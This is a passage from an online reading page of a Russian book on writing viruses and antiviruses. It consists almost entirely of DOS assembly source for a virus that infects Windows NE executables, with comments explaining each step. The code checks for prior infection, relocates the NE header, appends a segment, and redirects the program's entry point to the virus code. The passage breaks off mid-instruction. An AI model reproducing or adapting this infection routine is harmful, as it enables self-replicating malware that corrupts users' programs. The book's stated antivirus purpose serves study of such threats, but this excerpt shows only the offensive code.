Создаем вирус и антивирус. Игорь Гульев

Чтение книги онлайн.

Читать онлайн книгу Создаем вирус и антивирус - Игорь Гульев страница 19

Создаем вирус и антивирус - Игорь Гульев

Скачать книгу

к результату смещение стартового адреса (IP)

      add dx,WORD PTR [new_hdr+14h]

      adc cx,0

      ;Переместим указатель позиции чтения/записи на точку старта

      ;программы – результат вычисления

      mov ax,4200h

      int 21h

      ;Считаем первые 10 байт после старта программы

      mov dx,OFFSET temp

      mov cx,10h

      mov ah,3Fh

      int 21h

      ;Проверим, заражен ли файл. Если считанные 10 байт в точности

      ;совпадают с первыми 10−ю байтами нашего вируса, файл заражен.

      ;В этом случае переходим к поиску следующего, иначе – заражаем

      mov si,OFFSET temp

      push cs

      pop es

      xor di,di

      mov cx,8

      cld

      rep cmpsw

      jne ok_to_infect

      jmp close_exe

      ;Приступим к заражению

      ok_to_infect:

      ;Переместим NE−заголовок на 8 байт ближе к началу файла.

      ;Исправим соответствующие поля старого заголовка

      sub WORD PTR [old_hdr+10h],8

      sub WORD PTR [old_hdr+3ch],8

      sbb WORD PTR [old_hdr+3eh],0

      ;Исправим значения таблиц в новом заголовке, чтобы переместились

      ;только заголовок и таблица сегментов (без остальных таблиц)

      add WORD PTR [new_hdr+4],8

      add WORD PTR [new_hdr+24h],8

      add WORD PTR [new_hdr+26h],8

      add WORD PTR [new_hdr+28h],8

      add WORD PTR [new_hdr+2ah],8

      ;Сохраним оригинальные значения точек входа CS и IP

      push WORD PTR [new_hdr+14h]

      pop [host_ip]

      push WORD PTR [new_hdr+16h]

      pop [host_cs]

      ;Добавим еще один сегмент в таблицу сегментов и установим

      ;точку входа на его начало

      mov WORD PTR [new_hdr+14h],0

      inc WORD PTR [new_hdr+1ch]

      push WORD PTR [new_hdr+1ch]

      pop WORD PTR [new_hdr+16h]

      ;Переместим указатель чтения/записи в начало файла

      ;(к старому заголовку)

      xor cx,cx

      xor dx,dx

      mov ax,4200h

      int 21h

      ;Запишем старый заголовок, так как модифицированы

      ;некоторые поля его копии в памяти

      mov dx,OFFSET old_hdr

      mov cx,40h

      mov ah,40h

      int 21h

      ;Переместим указатель чтения/записи на начало нового

      ;заголовка (его переместили на 8 байт к началу файла)

      mov dx,WORD PTR [old_hdr+3ch]

      mov cx,WORD PTR [old_hdr+3eh]

      mov ax,4200h

      int 21h

      ;Запишем новый заголовок, так как в его копии

      ;в памяти некоторые поля модифицированы

      mov dx,OFFSET new_hdr

      mov cx,40h

      mov ah,40h

      int 21h

      ;Переместим указатель чтения/записи на 8 байт

      ;вперед – к началу таблицы сегментов

      xor cx,cx

      mov dx,8

      mov ax,4201h

      int 21h

      ;Рассчитаем размер таблицы сегментов и считаем ее в память

      mov dx,OFFSET temp

      mov cx,WORD PTR [new_hdr+1ch]

      dec cx

      shl cx,3

      push

Скачать книгу